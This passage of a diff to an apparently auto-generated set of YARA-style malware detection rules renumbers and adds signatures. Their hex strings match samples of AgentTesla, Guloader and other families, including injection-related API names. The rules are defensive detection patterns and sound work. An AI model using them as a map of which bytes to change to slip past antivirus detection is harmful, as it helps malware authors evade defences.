1)*5+(#a_53_4 & 1)*20057) >=3 } -rule _InfrastructureShared_14107{ +rule _InfrastructureShared_15035{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -160716,7 +171482,7 @@ rule _InfrastructureShared_14107{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29288+(#a_00_2 & 1)*25974+(#a_70_3 & 1)*29697+(#a_77_4 & 1)*30511) >=3 } -rule _InfrastructureShared_14108{ +rule _InfrastructureShared_15036{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -160729,7 +171495,7 @@ rule _InfrastructureShared_14108{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25390+(#a_54_4 & 1)*8448+(#a_50_5 & 1)*7680) >=3 } -rule _InfrastructureShared_14109{ +rule _InfrastructureShared_15037{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -160740,7 +171506,7 @@ rule _InfrastructureShared_14109{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*119) >=5 } -rule _InfrastructureShared_14110{ +rule _InfrastructureShared_15038{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160753,7 +171519,7 @@ rule _InfrastructureShared_14110{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50+(#a_00_3 & 1)*116+(#a_6f_4 & 1)*385) >=5 } -rule _InfrastructureShared_14111{ +rule _InfrastructureShared_15039{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160761,12 +171527,26 @@ rule _InfrastructureShared_14111{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 52 50 30 37 31 32 32 33 21 4d 54 42 00 01 00 34 01 33 52 67 70 76 71 67 79 61 2e 4d 61 70 73 2e 42 61 73 65 52 65 71 75 65 73 74 4d 61 70 2b 46 61 63 61 64 65 54 68 72 65 61 64 } //18467 $a_6c_1 = {63 74 69 6f 6e 01 00 25 01 24 36 30 62 63 66 39 66 36 2d 65 32 33 36 2d 34 65 36 39 2d 39 64 66 31 2d 32 37 65 35 36 39 36 66 66 64 31 30 01 00 0a 01 49 6e 76 6f 6b 65 41 74 74 72 01 00 13 01 42 75 67 73 6e 61 67 2e 43 6f 6c 6c 65 63 74 69 6f 6e 73 01 00 13 01 52 67 70 76 71 67 79 61 2e 41 74 74 72 69 62 75 74 65 73 00 00 } //28483 $a_00_3 = {05 00 21 23 48 } //5 - $a_3a_4 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 43 31 32 33 21 4d 54 42 00 01 00 22 81 01 73 65 6c 76 70 6c 61 6e 74 65 64 65 20 6c 6f 70 68 6f 62 72 61 6e 63 68 69 69 20 6a 61 6e 75 61 72 79 01 00 1c 81 01 6b 6f 65 6b 73 69 73 74 65 72 20 64 } //21587 + $a_3a_4 = {69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 54 30 31 21 4d 54 42 00 01 00 2f 81 01 62 72 6f 64 65 72 66 6f 6c 6b 65 74 73 20 6c 69 6b 65 66 75 6c 20 64 61 74 61 62 61 73 65 61 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 65 6e 73 01 00 1b 81 01 6e } //21587 condition: ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28483+(#a_00_3 & 1)*5+(#a_3a_4 & 1)*21587) >=5 } -rule _InfrastructureShared_14112{ +rule _InfrastructureShared_15040{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 54 30 31 21 4d 54 42 00 01 00 2f 81 01 62 72 6f 64 65 72 66 6f 6c 6b 65 74 73 20 6c 69 6b 65 66 75 6c 20 64 61 74 61 62 61 73 65 61 64 6d 69 6e 69 73 74 72 61 74 69 6f 6e 65 6e 73 01 00 1b 81 01 } //18467 + $a_72_1 = {70 74 65 72 6f 69 64 65 61 20 65 6e 61 6c 6c 61 63 68 72 6f 6d 65 01 00 1b 81 01 69 6e 76 69 74 65 72 65 6e 64 65 73 20 6b 6c 6f 73 74 72 65 6e 65 73 2e 65 78 65 01 00 1d 81 01 74 69 6c 73 6a 6f 66 6c 65 64 65 73 20 73 69 67 6e 79 20 74 65 6b 6e 69 6b 75 6d 65 74 01 00 0d 81 01 73 6b 6f 76 67 72 6e 73 65 72 6e 65 73 00 00 78 d0 00 00 05 00 05 00 05 } //25966 + $a_48_2 = {54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 43 31 32 33 21 4d 54 42 00 01 00 22 81 01 } //8448 + $a_76_3 = {6c 61 6e 74 65 64 65 20 6c 6f 70 68 6f 62 72 61 6e 63 68 69 69 20 6a 61 6e 75 61 72 79 01 00 1c 81 01 6b 6f 65 6b 73 69 73 74 65 72 20 64 72 61 62 73 73 61 67 65 72 20 66 75 72 7a 65 73 01 00 0d 81 01 6c 69 63 68 65 6e 6f 67 72 61 70 68 79 01 00 21 81 01 6d 69 6e 6b 61 73 20 6d 69 73 63 6f 6e 6a 75 67 61 74 65 64 20 6e 6f } //25971 + $a_69_4 = {69 6e 67 6c 79 01 00 21 81 01 74 65 68 75 73 65 74 20 75 6e 69 67 65 6e 69 73 74 20 76 61 6c 67 66 6f 72 62 75 6e 64 65 6e 65 73 00 00 78 d0 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 44 75 69 64 6c 6f 64 7a 2e 41 21 4d 54 42 00 01 00 1d 02 0f be 0a 47 8d 90 01 02 41 ff c1 48 } //24942 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*25966+(#a_48_2 & 1)*8448+(#a_76_3 & 1)*25971+(#a_69_4 & 1)*24942) >=5 + +} +rule _InfrastructureShared_15041{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160780,7 +171560,7 @@ rule _InfrastructureShared_14112{ ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*29284+(#a_6e_2 & 1)*25202+(#a_01_3 & 1)*30028+(#a_44_4 & 1)*1281) >=5 } -rule _InfrastructureShared_14113{ +rule _InfrastructureShared_15042{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -160794,7 +171574,7 @@ rule _InfrastructureShared_14113{ ((#a_4c_0 & 1)*21539+(#a_e1_1 & 1)*26304+(#a_72_2 & 1)*28773+(#a_65_3 & 1)*29285+(#a_6e_4 & 1)*22330) >=5 } -rule _InfrastructureShared_14114{ +rule _InfrastructureShared_15043{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -160811,7 +171591,7 @@ rule _InfrastructureShared_14114{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*23653+(#a_69_2 & 1)*21761+(#a_00_3 & 1)*25955+(#a_69_4 & 1)*384+(#a_65_5 & 1)*29285+(#a_2e_6 & 1)*24948+(#a_63_7 & 1)*26691) >=5 } -rule _InfrastructureShared_14115{ +rule _InfrastructureShared_15044{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -160828,7 +171608,7 @@ rule _InfrastructureShared_14115{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*384+(#a_6e_2 & 1)*28245+(#a_61_3 & 1)*30035+(#a_20_4 & 1)*17221+(#a_5f_5 & 1)*28018+(#a_66_6 & 1)*17493+(#a_65_7 & 1)*25699) >=5 } -rule _InfrastructureShared_14116{ +rule _InfrastructureShared_15045{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160842,7 +171622,7 @@ rule _InfrastructureShared_14116{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*17221+(#a_67_2 & 1)*21024+(#a_55_3 & 1)*27503+(#a_30_4 & 1)*25442) >=6 } -rule _InfrastructureShared_14117{ +rule _InfrastructureShared_15046{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160857,7 +171637,7 @@ rule _InfrastructureShared_14117{ ((#a_54_0 & 1)*18467+(#a_52_1 & 1)*-32486+(#a_6f_2 & 1)*24942+(#a_52_3 & 1)*21320+(#a_63_4 & 1)*11618+(#a_00_5 & 1)*28265) >=6 } -rule _InfrastructureShared_14118{ +rule _InfrastructureShared_15047{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160872,7 +171652,7 @@ rule _InfrastructureShared_14118{ ((#a_54_0 & 1)*18467+(#a_2d_1 & 1)*25401+(#a_74_2 & 1)*13366+(#a_34_3 & 1)*12341+(#a_75_4 & 1)*29541+(#a_55_5 & 1)*18251) >=6 } -rule _InfrastructureShared_14119{ +rule _InfrastructureShared_15048{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160887,7 +171667,7 @@ rule _InfrastructureShared_14119{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*13360+(#a_6c_2 & 1)*28005+(#a_01_3 & 1)*7424+(#a_33_4 & 1)*26967+(#a_6f_5 & 1)*8307) >=6 } -rule _InfrastructureShared_14120{ +rule _InfrastructureShared_15049{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160902,7 +171682,7 @@ rule _InfrastructureShared_14120{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*29441+(#a_00_2 & 1)*6+(#a_57_3 & 1)*21076+(#a_00_4 & 1)*25973+(#a_74_5 & 1)*385) >=6 } -rule _InfrastructureShared_14121{ +rule _InfrastructureShared_15050{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160916,7 +171696,7 @@ rule _InfrastructureShared_14121{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29281+(#a_6c_2 & 1)*29547+(#a_00_4 & 1)*59+(#a_01_5 & 1)*1) >=6 } -rule _InfrastructureShared_14122{ +rule _InfrastructureShared_15051{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -160929,7 +171709,7 @@ rule _InfrastructureShared_14122{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*52+(#a_00_2 & 1)*59+(#a_73_3 & 1)*29477) >=6 } -rule _InfrastructureShared_14123{ +rule _InfrastructureShared_15052{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 08 00 21 " @@ -160946,7 +171726,7 @@ rule _InfrastructureShared_14123{ ((#a_77_0 & 1)*16675+(#a_2e_1 & 1)*26982+(#a_52_2 & 1)*21320+(#a_6c_3 & 1)*26977+(#a_00_4 & 1)*0+(#a_54_5 & 1)*17996+(#a_6f_6 & 1)*1536+(#a_01_7 & 1)*28269) >=6 } -rule _InfrastructureShared_14124{ +rule _InfrastructureShared_15053{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -160962,7 +171742,7 @@ rule _InfrastructureShared_14124{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*16988+(#a_37_2 & 1)*28261+(#a_61_3 & 1)*29285+(#a_61_4 & 1)*24932+(#a_01_5 & 1)*3584+(#a_73_6 & 1)*25455) >=7 } -rule _InfrastructureShared_14125{ +rule _InfrastructureShared_15054{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 08 00 21 " @@ -160977,7 +171757,7 @@ rule _InfrastructureShared_14125{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24950+(#a_45_4 & 1)*8448+(#a_64_5 & 1)*26967+(#a_6e_6 & 1)*29298+(#a_4d_7 & 1)*30789) >=7 } -rule _InfrastructureShared_14126{ +rule _InfrastructureShared_15055{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -160987,14 +171767,15 @@ rule _InfrastructureShared_14126{ $a_65_2 = {43 6c 61 73 73 45 78 01 00 13 80 01 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 49 64 01 00 0c 80 01 43 72 65 61 74 65 54 68 72 65 61 64 01 00 0a 80 01 55 53 45 52 33 32 2e 64 6c 6c 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 41 4c 46 3a 59 32 56 3a 46 69 72 65 45 79 65 2f 4c 6f 61 64 65 72 5f 4d 53 49 4c 5f 47 65 6e 65 72 69 63 5f 31 00 01 } //29545 $a_5f_3 = {6f } //2816 o $a_65_4 = {61 69 6e 01 00 24 03 0c 12 03 fe 15 90 01 04 12 04 fe 15 90 01 04 07 14 90 0a 12 00 00 72 90 01 04 0a 72 90 01 04 0b 06 28 90 00 01 00 12 01 44 6c 6c 49 6d 70 6f 72 74 41 74 74 72 69 62 75 74 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0c 01 52 65 73 75 6d 65 54 68 72 65 61 64 01 00 0a 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 01 53 } //17778 - $a_65_5 = {64 54 68 72 65 61 64 01 00 0c 01 51 75 65 75 65 55 73 65 72 41 50 43 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 21 4d 54 42 00 01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 36 64 32 64 61 61 30 37 2d 34 39 38 30 2d 34 63 34 66 } //29557 - $a_66_6 = {2d 66 33 38 31 63 63 35 33 36 64 63 38 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 07 81 01 70 6f 73 74 55 72 6c 01 00 08 01 06 00 98 00 58 5d 00 00 01 00 08 01 1c 73 00 98 00 78 5d 00 01 00 27 81 01 63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e } //14637 - $a_75_7 = {66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 0b 00 21 23 53 54 41 54 49 43 3a 41 43 53 43 41 52 44 5f 41 64 76 61 6e 63 65 64 5f 43 61 72 64 5f 53 79 73 74 65 6d 73 00 01 } //19532 + $a_65_5 = {64 54 68 72 65 61 64 01 00 0c 01 51 75 65 75 65 55 73 65 72 41 50 43 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 48 69 64 65 57 69 6e 64 6f 77 01 00 0e 81 01 45 78 65 63 3a 20 63 6f 6d 6d 61 6e 64 3d 01 00 09 81 01 43 6f 70 79 46 69 } //29557 + $a_01_6 = {00 0d 81 01 44 65 6c 65 74 65 52 65 67 4b 65 79 3a 01 00 0b 81 01 57 72 69 74 65 52 65 67 42 69 6e 01 00 0b 81 01 69 6e 73 74 61 6c 6c 2e 6c 6f 67 01 00 29 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 13 81 01 43 3a 5c 54 45 4d 50 5c 46 59 43 41 44 45 64 } //25964 + $a_72_7 = {00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 21 4d 54 42 00 01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 36 64 32 64 61 61 30 37 2d 34 39 38 30 2d 34 63 34 66 2d 39 63 66 30 2d 66 33 38 31 63 63 35 33 36 64 63 38 01 00 06 81 01 } //29801 + $a_64_8 = {6d 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 07 81 01 70 6f 73 74 55 72 6c 01 00 08 01 06 00 98 00 58 5d 00 00 01 00 08 01 1c 73 00 98 00 78 5d 00 01 00 27 81 01 63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e 4c 4c 42 75 70 66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 } //24914 condition: - ((#a_70_0 & 1)*17699+(#a_52_1 & 1)*-32753+(#a_65_2 & 1)*29545+(#a_5f_3 & 1)*2816+(#a_65_4 & 1)*17778+(#a_65_5 & 1)*29557+(#a_66_6 & 1)*14637+(#a_75_7 & 1)*19532) >=7 + ((#a_70_0 & 1)*17699+(#a_52_1 & 1)*-32753+(#a_65_2 & 1)*29545+(#a_5f_3 & 1)*2816+(#a_65_4 & 1)*17778+(#a_65_5 & 1)*29557+(#a_01_6 & 1)*25964+(#a_72_7 & 1)*29801+(#a_64_8 & 1)*24914) >=7 } -rule _InfrastructureShared_14127{ +rule _InfrastructureShared_15056{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -161003,28 +171784,61 @@ rule _InfrastructureShared_14127{ $a_0a_1 = {72 90 01 04 } //400 $a_90_2 = {01 00 12 01 44 6c 6c 49 6d 70 6f 72 74 41 74 74 72 69 62 75 74 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 } //1547 $a_00_3 = {0c } //26478 - $a_73_4 = {6d 65 54 68 72 65 61 64 01 00 0a 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 01 53 75 73 70 65 6e 64 54 68 72 65 61 64 01 00 0c 01 51 75 65 75 65 55 73 65 72 41 50 43 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 } //20993 - $a_42_5 = {01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 36 64 32 64 61 61 30 37 2d 34 39 38 30 2d 34 63 34 66 2d 39 63 66 30 2d 66 33 38 31 63 63 35 33 36 64 63 38 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 07 } //19745 - $a_6f_6 = {74 55 72 6c 01 00 08 01 06 00 98 00 58 5d 00 00 01 00 08 01 1c 73 00 98 00 78 5d 00 01 00 27 81 01 63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e 4c 4c 42 75 70 66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 0b 00 21 23 53 54 41 54 49 43 3a 41 43 53 43 41 52 44 5f 41 64 76 61 6e 63 65 64 5f 43 61 } //385 - $a_53_7 = {73 74 65 6d 73 00 01 00 16 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 44 00 61 00 74 00 61 00 01 00 0a 00 43 4f 4e 46 49 53 43 41 54 45 01 00 09 00 47 45 54 5f 53 54 41 54 45 01 00 09 00 49 53 5f 41 42 53 45 4e 54 01 00 0a 00 49 53 5f 50 52 45 53 45 4e 54 01 00 10 00 53 43 4d 20 53 } //25714 + $a_73_4 = {6d 65 54 68 72 65 61 64 01 00 0a 01 4f 70 65 6e 54 68 72 65 61 64 01 00 0d 01 53 75 73 70 65 6e 64 54 68 72 65 61 64 01 00 0c 01 51 75 65 75 65 55 73 65 72 41 50 43 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 } //20993 + $a_48_5 = {64 } //-32502 d + $a_6e_6 = {6f 77 01 00 0e 81 01 45 78 65 63 3a 20 63 6f 6d 6d 61 6e 64 3d 01 00 09 81 01 43 6f 70 79 46 69 6c 65 73 01 00 0d 81 01 44 65 6c 65 74 65 52 65 67 4b 65 79 3a 01 00 0b 81 01 57 72 69 74 65 52 65 67 42 69 6e 01 00 0b 81 01 69 6e 73 74 61 6c 6c 2e 6c 6f 67 01 00 29 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 } //22373 + $a_5c_7 = {69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e 01 00 13 81 01 43 3a 5c 54 45 4d 50 5c 46 59 43 41 44 45 64 69 74 6f 72 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 21 4d 54 42 00 01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 } //26223 condition: - ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*400+(#a_90_2 & 1)*1547+(#a_00_3 & 1)*26478+(#a_73_4 & 1)*20993+(#a_42_5 & 1)*19745+(#a_6f_6 & 1)*385+(#a_53_7 & 1)*25714) >=8 + ((#a_46_0 & 1)*16675+(#a_0a_1 & 1)*400+(#a_90_2 & 1)*1547+(#a_00_3 & 1)*26478+(#a_73_4 & 1)*20993+(#a_48_5 & 1)*-32502+(#a_6e_6 & 1)*22373+(#a_5c_7 & 1)*26223) >=8 } -rule _InfrastructureShared_14128{ +rule _InfrastructureShared_15057{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 50 55 41 3a 57 69 6e 33 32 2f 4f 62 66 75 73 65 2e 50 52 21 41 4d 54 42 00 01 00 0a 81 01 48 69 64 65 57 69 6e 64 6f 77 01 00 0e 81 01 45 78 65 63 3a 20 63 6f 6d 6d 61 6e 64 3d 01 00 09 81 01 43 6f 70 79 46 69 6c 65 73 01 00 0d 81 01 44 65 6c 65 } //18467 + $a_65_1 = {4b 65 79 3a 01 00 0b 81 01 57 72 69 74 65 52 65 67 42 69 6e 01 00 0b 81 01 69 6e 73 74 61 6c 6c 2e 6c 6f 67 01 00 29 81 01 53 6f 66 74 77 61 72 65 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 5c 43 75 72 72 65 6e 74 56 65 72 73 69 6f 6e } //25972 + $a_81_2 = {43 3a 5c 54 45 4d 50 5c 46 59 43 41 44 45 64 69 74 6f 72 } //1 C:\TEMP\FYCADEditor + $a_d0_3 = {00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 21 4d 54 42 00 01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 36 64 32 64 61 61 30 37 2d 34 39 38 30 2d 34 63 34 66 2d 39 63 66 30 2d 66 33 38 31 63 63 35 33 36 64 63 38 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 09 81 01 41 70 } //0 + $a_6d_4 = {69 6e 01 00 07 81 01 70 6f 73 74 55 72 6c 01 00 08 01 06 00 98 00 58 5d 00 00 01 00 08 01 1c 73 00 98 00 78 5d 00 01 00 27 81 01 63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e 4c 4c 42 75 70 66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f } //17520 + $a_72_5 = {4c 50 46 30 31 21 4d 54 42 00 01 00 13 81 01 70 72 6f 66 65 73 73 69 6f 6e 61 6c 69 73 74 2e 63 65 6e 01 00 0f 81 01 76 65 67 65 74 61 62 69 6c 73 6b 2e 69 6e 69 01 00 0c 81 01 6e 65 72 76 69 6e 67 73 2e 65 74 68 01 00 0d 81 01 62 6c 79 73 74 62 65 72 65 2e 69 6e 69 01 00 0f 81 01 4d 69 63 72 6f 70 68 } //25697 + $a_6c_6 = {65 6c 65 01 00 0d 81 01 4f 70 75 73 63 75 6c 65 73 2e 69 6e 69 01 00 1e 81 01 5c 68 75 73 65 6a 65 72 65 73 5c 6a 61 67 74 67 65 76 72 65 72 6e 65 5c 67 6f 62 69 61 6e 01 00 0b 81 01 74 6f 6e 6e 69 65 73 2e 65 6e 64 00 00 78 d0 00 00 08 00 08 00 0b 00 21 23 53 54 41 54 49 43 3a 41 43 53 43 } //29817 + $a_5f_7 = {64 76 61 6e 63 65 64 5f 43 61 72 64 5f 53 79 73 74 65 6d 73 00 01 00 16 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 44 00 61 00 74 00 61 00 01 00 0a 00 43 4f 4e 46 49 53 43 41 54 45 01 00 09 00 47 45 54 } //21057 + condition: + ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25972+(#a_81_2 & 1)*1+(#a_d0_3 & 1)*0+(#a_6d_4 & 1)*17520+(#a_72_5 & 1)*25697+(#a_6c_6 & 1)*29817+(#a_5f_7 & 1)*21057) >=8 + +} +rule _InfrastructureShared_15058{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 41 35 31 21 4d 54 42 00 01 00 09 81 01 55 72 6c 45 6e 63 6f 64 65 01 00 25 81 01 24 36 64 32 64 61 61 30 37 2d 34 39 38 30 2d 34 63 34 66 2d 39 63 66 30 2d 66 33 38 31 63 63 } //18467 $a_64_1 = {38 01 00 06 81 01 52 61 6e 64 6f 6d 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 07 81 01 70 6f 73 74 55 72 6c 01 00 08 01 06 00 98 00 58 5d 00 00 01 00 08 01 } //13109 - $a_01_4 = {63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e 4c 4c 42 75 70 66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 0b 00 21 23 53 54 41 54 49 43 3a 41 43 53 43 41 52 44 5f 41 64 76 61 6e 63 65 64 5f 43 61 72 64 5f 53 79 73 74 65 6d 73 00 01 00 16 00 55 00 70 00 67 00 72 00 61 00 64 00 65 00 44 00 61 00 74 00 61 00 01 00 0a 00 43 4f 4e 46 49 53 43 41 54 } //9984 - $a_54_6 = {53 54 41 54 45 01 00 09 00 49 53 5f 41 42 53 45 4e 54 01 00 0a 00 49 53 5f 50 52 45 53 45 4e 54 01 00 10 00 53 43 4d 20 53 77 61 70 53 6d 61 72 74 20 32 2e 01 00 0c 00 53 45 54 5f 50 52 4f 54 4f 43 4f 4c 01 } //18176 + $a_01_4 = {63 34 44 59 35 74 76 76 48 33 47 49 4e 73 36 4e 49 67 33 2e 4c 4c 42 75 70 66 76 6a 63 61 44 75 64 58 34 30 31 53 53 00 00 78 d0 00 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 46 30 31 21 4d 54 42 00 01 00 13 81 01 70 72 6f 66 65 73 73 69 6f 6e 61 6c 69 73 74 2e 63 65 6e 01 00 0f 81 01 76 65 67 65 74 61 62 69 6c 73 6b 2e 69 6e 69 01 00 } //9984 + $a_6e_5 = {72 } //-32500 r + $a_67_6 = {2e 65 74 68 01 00 0d 81 01 62 6c 79 73 74 62 65 72 65 2e 69 6e 69 01 00 0f 81 01 4d 69 63 72 6f 70 68 79 74 61 6c 2e 65 6c 65 01 00 0d 81 01 4f 70 75 73 63 75 6c 65 73 2e 69 6e 69 01 00 1e 81 01 5c 68 75 73 65 6a 65 72 65 73 5c 6a 61 67 74 67 65 76 72 65 72 6e 65 5c 67 6f 62 69 61 6e 01 00 0b 81 01 74 6f 6e 6e 69 65 73 2e 65 6e } //26998 condition: - ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13109+(#a_01_4 & 1)*9984+(#a_54_6 & 1)*18176) >=8 + ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*13109+(#a_01_4 & 1)*9984+(#a_6e_5 & 1)*-32500+(#a_67_6 & 1)*26998) >=8 } -rule _InfrastructureShared_14129{ +rule _InfrastructureShared_15059{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4c 50 46 30 31 21 4d 54 42 00 01 00 13 81 01 70 72 6f 66 65 73 73 69 6f 6e 61 6c 69 73 74 2e 63 65 6e 01 00 0f 81 01 76 65 67 65 74 61 62 69 6c 73 6b 2e 69 6e 69 01 00 0c 81 01 6e 65 72 76 69 6e 67 73 } //18467 + $a_68_1 = {00 0d 81 01 62 6c 79 73 74 62 65 72 65 2e 69 6e 69 01 00 0f 81 01 4d 69 63 72 6f 70 68 79 